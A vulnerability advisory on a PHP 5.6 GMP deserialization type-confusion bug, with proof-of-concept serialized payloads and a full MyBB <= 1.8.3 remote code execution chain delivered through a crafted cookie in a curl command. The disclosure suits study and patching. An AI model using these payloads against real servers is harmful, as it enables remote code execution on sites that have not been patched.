1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 |
#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability] Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20 > A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues. Affected Versions ------------ Affected is PHP 5.6 < 5.6.30 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ gmp.c </code><code> static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); } </code><code> zend_object_handlers.c </code><code> ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; } </code><code> It has been demonstrated many times before that __wakeup() or other magic methods leads to <code>ZVAL</code> was changed from the memory in during deserializtion. So an attacker can change <code>**object</code> into an integer-type or bool-type <code>ZVAL</code>, then the attacker will be able to access any objects that stored in objects store via <code>Z_OBJ_P</code>. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues. The following codes will prove this vulnerability: </code><code> <?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); var_dump($obj); ?> </code><code> Expected result: </code><code> object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } </code><code> Actual result: </code><code> object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } } </code><code> **i) How to exploited this bug in real world?** When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type <code>ZVAL</code> via GMP's gmp_cast_object(): </code><code> static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */ { mpz_ptr gmpnum; switch (type) { ... case IS_LONG: gmpnum = GET_GMP_FROM_ZVAL(readobj); INIT_PZVAL(writeobj); ZVAL_LONG(writeobj, mpz_get_si(gmpnum)); return SUCCESS; </code><code> The following codes will prove this exploite way: </code><code> <?php var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}')); ?> </code><code> Of course, a crafted __wakeup() can also be exploited, ex: </code><code> <?php function __wakeup() { $this->ryat = (int) $this->ryat; } ?> </code><code> **ii) Can be exploited this bug in real app?** Exploited the bug in MyBB: index.php </code><code> if(isset($mybb->cookies['mybb']['forumread'])) { $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']); } </code><code> MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update <code>$mybb</code> or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-) **P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.** Proof of Concept Exploit ------------ **MyBB <= 1.8.3 RCE vulnerability** index.php </code><code> eval('$index = "'.$templates->get('index').'";'); </code><code> MyBB always use eval() function in during template parsing. inc/class_templates.php </code><code> class templates { ... public $cache = array(); ... function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; ... $template = $this->cache[$title]; ... return $template; } </code><code> If we can control the <code>$cache</code>, we will be albe to inject PHP code via eval() function. inc/init.php </code><code> $error_handler = new errorHandler(); ... $maintimer = new timer(); ... $mybb = new MyBB; ... switch($config['database']['type']) { case "sqlite": $db = new DB_SQLite; break; case "pgsql": $db = new DB_PgSQL; break; case "mysqli": $db = new DB_MySQLi; break; default: $db = new DB_MySQL; } ... $templates = new templates; </code><code> The <code>$templates</code> object was instantiated in init.php, and four objects was instantiated in this before. This means the <code>$templates</code> object's handle was set to <code>5</code> and stored into objects store, so we can access the <code>$templates</code> object and update the <code>$cache</code> property via convert GMP object into integer-type <code>ZVAL</code> that value is <code>5</code> in during GMP deserialization. This also means we can inject PHP code via eval() function. When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line: </code><code> curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/ </code><code> |